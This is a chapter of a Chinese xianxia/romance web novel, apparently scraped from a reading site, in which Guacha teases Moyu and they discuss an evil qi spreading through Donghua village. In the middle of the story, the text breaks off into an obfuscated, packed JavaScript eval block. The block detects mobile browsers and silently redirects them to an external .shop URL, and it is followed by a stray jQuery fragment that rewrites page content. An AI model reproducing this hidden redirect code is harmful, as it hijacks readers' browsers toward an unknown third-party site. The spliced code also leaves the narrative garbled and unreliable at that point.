好热闹。
瓜猹猹早已发现背后的不对劲,跟着一起跑的人越来越多。
但她心中只觉得有趣,因为有热闹看的时候,她也这样。
又看了几眼身后跟着的村民们,瓜猹猹突然心中一动,有个坏主意生成了。
她把自己一行人包括花石的听觉都给屏蔽了一大部分。
瓜猹猹就这样带着一群人,穿过大半个东花村。
路上的花草肉眼可见的茂密起来,越往前去,越能感受到那股生机勃然。
看来邪气也会欺软怕硬。
待远远望见那爬满花草的青砖瓦屋一角,花石心中一定,放缓了脚步。
“到了,到了,前面转个弯就是……”
他回头正想和瓜猹猹说点什么,却被身后这一大群人吓了一跳。
他还听见这群人在喊什么出事了,到莫语少爷家去。
真奇怪,刚刚怎么就没听见身后这群人的声音?大家是什么时候跟来的?
不过,莫语少爷还真是个大忙人,这么多人要找他帮忙吗?
那他和瓜猹猹得跑快点,他们这事很急的。他们才是第一个,后面来的要排队!
花石话也不说了,带着人跑得更快了。
刚转过弯,他就看见莫语突然打开了屋门,往他们这看了一眼。
花石刚想冲他打招呼,只见那门砰的一声,又紧紧关上。
“莫语少爷怎么又关上门了?是没看到我们吗?”
花石停住脚步,有些疑惑。
“难搞,看来我们只能直接去敲门了。”
瓜猹猹眼中闪过几丝促狭的笑意。
莫语哪是没看到,他估计就是看得太清楚了。
那家伙八成是被她们这一大群人吓到了。
花石以为瓜猹猹是让他去敲门的意思。
“咦,花石你不是死了吗?”
花石想上前敲门的当口,几个村民猛地冲上前来拉住他,语气又惊又喜。
“当家啊,人没事就好,人没事就好……”
花婶婶扑到他身上,哭得一把鼻涕一把泪。
“啊?说什么胡话呢?我呸呸呸,哪个损人乱造谣……”
被死亡的花石一脸晦气,谁在说这种不吉利的话。
就在这时,老村长赶到了。
他看到花石好端端的,心中松了口气,看来是误会一场。
没事就好,不然他怎么跟花石他婆娘交代?
“好了好了,既然是误会一场,大家都散了吧。别聚在这里打扰了莫语少爷。”
老村长开始驱散众人,让他们各归各家。
“花石,这几位是?”
老村长疑惑地看向花石。
留下的零星几个看热闹的村民,也好奇地看着瓜猹猹等人。
待众人听完花石的话,知道瓜猹猹碰了那突然变得诡异的田,有些胆小的村民纷纷后退了几步。
他们只是想凑个热闹,不是想把命交代出去。
于是村民们改成了远远围观。
在他们惊讶的目光里,瓜猹猹突然上前几步,站在了莫语家门前。
“看到你了,别躲啦。开门呐,开门呐,快开开门,火烧眉毛了,十万火急啦……”
瓜猹猹伸手拍着门,声音是掩饰不住的开心和兴奋。
在察觉到莫语就站在门边后,门外的瓜猹猹就拍得更起劲了。
这可太有意思了,她几乎能想象到莫语的表情。
门被拍得啪啪响,莫语的额角也一突一突地跳。
虽然逃跑这事他做得不地道,但是瓜猹猹是什么强盗吗?
他这屋顶的灰尘都要给她震下来了。
就在这时,几粒砂砾簌簌落在了莫语头上。
莫语深呼吸:……
几十年的青砖瓦屋了,年久失修很正常……才怪!
门还在响。
忍无可忍的莫语,悄悄将门打开了一条缝。
“开……门……”
瓜猹猹的手拍了个空。
一只手揪住她的衣领,将她拉进了门内。
定睛一看,头上顶着一块瓦片的莫语正瞪着她。
“哈哈哈哈哈你这是什么装扮……”
瓜猹猹捶着墙,笑得肚子都要疼了。
他什么装扮,还不是托了她的福?
“很好笑吗?”
莫语冷笑了一声,抬手将手中的东西插进了她的头发里。现在他们两个一样了。
瓜猹猹拿下来一看,发现是两块瓦片碎片。
“哈哈哈,不行了,你这是谋杀,救命哈哈哈哈哈”
她顿了一下,抱着肚子笑得更欢了。
虽然嘴里说着求饶的话,但显然一点诚意也没有。
莫语扶着额角,决定无视瓜猹猹的求救,笑死她得了。
伴随着瓜猹猹的笑声,莫语拎起茶壶给自己倒了杯茶。
刚想端起来,一阵风卷过,手中顿时变得空空如也。
咕噜咕噜……
“呼,活过来了……”
瓜猹猹拉过茶壶又给自己倒了满满一杯。
不知道的,还以为她刚刚是干了什么劳累人的活。
莫语叹了口气。
莫气莫气,气坏身体没人替。
“叹什么气呢?老是皱眉的话,可是会长皱纹的哦~”
瓜猹猹凑近,屈指抵了抵他的眉心。
虽然神仙就算天天皱眉,估计也不会长皱纹。
“有事说事,凑这么近作什么?”
莫语用手抵了抵她的脸。
温热柔软的触感,倒是不如她侵占整间屋子的笑声那样霸道。
那天她顶着碎石撑在他身上的模样,不经意间又闯上了莫语心头。
算了,就原谅她吧。
啪,清脆的响声在屋内响起
莫语脑袋往后仰了仰。
瓜猹猹给了他个脑瓜弹。
他现在脑袋嗡嗡响,一片空白。
“瓜猹猹!”
莫语怒目而视。
他就知道瓜猹猹是个爱捉弄人的。
“其实,我们这次过来,本是为了处理你私自逃跑的事。但是没想到东花村出了这种事情……”
瓜猹猹秒变一本正经,开始忧国忧民。
若不是她眼中晕开着的笑意,莫语当真要以为刚刚那个脑瓜弹是他的错觉。
在这种时候突然就开始提正事了。这家伙根本就是故意的。
“谁逃跑了?我可一直在东花村……”
莫语无力地趴在桌子上,有种无处发火的挫败感。
但嘴硬还是要嘴硬的,逃跑这种事情坚决不可能承认。
“是吗?这么说是我们找来太慢了,还真是不好意思。那么关于东花村突然冒出来的邪气,你有什么头绪呢?”
瓜猹猹忍笑,再逗弄就过头了。
这东西对莫语来说应当不陌生,当然是指对前世的他来说不陌生。
他处理起邪气来,可比她这个体修要得心应手。
瓜猹猹可没办法保证,自己处理完邪气之后,那些地还能重新种植作物。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17773384|209965||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
前提是,莫语能想起来对付邪气的办法。
不然她们估计得去找到木瑶。藤花一族,天生就是邪气的克星。
“邪气?你是说这不安分的东西吗?倒是个很适合的名字。”
莫语选择性忽略瓜猹猹前半句话,随手放出他抓捕的那一缕黑气。
原先那个玉瓶早就碎了,他还没来得及处理,瓜猹猹就找上了门。
“你就这么把它放在身体里?”
瓜猹猹眉心跳了跳。
“因为它老是想着逃,还什么都想要吞噬。放跑的话,不是会很危险吗?”
莫语说得理所当然。
“知道他危险,你还敢放身体里?你就不能直接把它打散吗?或者放回结里吗?”
瓜猹猹强压火气。
她体会到了熟悉的头疼。这随心所欲的家伙,总是令她头大。
谁会把遇到的奇奇怪怪的东西,放在身体里乱窜?
就算前世是邪神,也请不要干这么吓人的事情!
“……我打算送回去给人事部的人研究,它看起来就不像人间的东西……”
莫语不知道自己为什么在流冷汗。
“犯不着,这东西她们应该熟悉得很。你们仙学宫不是应该有跟你们提过吗?这是天外邪魔的邪气……”
瓜猹猹上手夺过那缕张牙舞爪的邪气,直接用力掐碎。
青恩和阿尤不知道就算了,莫语是什么情况?
这家伙居然还打算拿这晦气的东西送人,也是没谁了。
不知者无畏。
但仙界那群知道的家伙,看到这邪气绝对会吓得要死。
现在可没有什么神明为他们扛在前面。
慌起来了,说不定还会让木瑶多生几个藤花一族的血脉出来。毕竟邪气这玩意术业有专攻。
“这就是天外邪魔的邪气?”
莫语下意识摸了摸额头,又默默放下手。
看来刚刚瓜猹猹对他,算是手下留情了。
他对仙界前史那节课不怎么感兴趣,只听了个开头,就神游天外了。
以至于,他也只听说过天外邪魔的名头,其余一概不知。
怎么这样,他还在想怎么在不暴露的情况下,让阿尤传信给人间部的人,让她们下来拿呢。
看出莫语有些遗憾的瓜猹猹:这家伙还真是一点危机感也没有。
不过……船到桥头自然直,实在不行,就把眼前这只邪神丢出去顶着好了。
瓜猹猹撑着下巴注视着对面的莫语,嘴角勾起一抹狡黠的笑容。
……
门外,吃了闭门羹的阿尤等人,则正在犹豫是否要敲门。
此时被莫语念叨着的阿尤打了个喷嚏。
“青恩,你说猹猹大人和莫语大人是不是把我们忘了……”
阿尤揉着发酸的鼻头,转头问青恩。
“显而易见,是的。”
青恩给予了肯定的回答。
那两个无良的家伙,已经把他们彻底忘了。
说好的,大家都是人事部的伙伴呢?
说好的,一起造福人间呢?
田里都在冒黑气了,快给我忙正事啊,你们两个混蛋!
当然,他只敢在心里骂骂。
毕竟里面的两个,貌似哪个他都打不过的样子。等一下喜提男女混合双打就不好了。
活了这么多年,直到遇到瓜猹猹和莫语,青恩才发现自己原来是天生的劳碌命。
他上辈子是不是欠了她们的?
青恩今天也是心累的一天。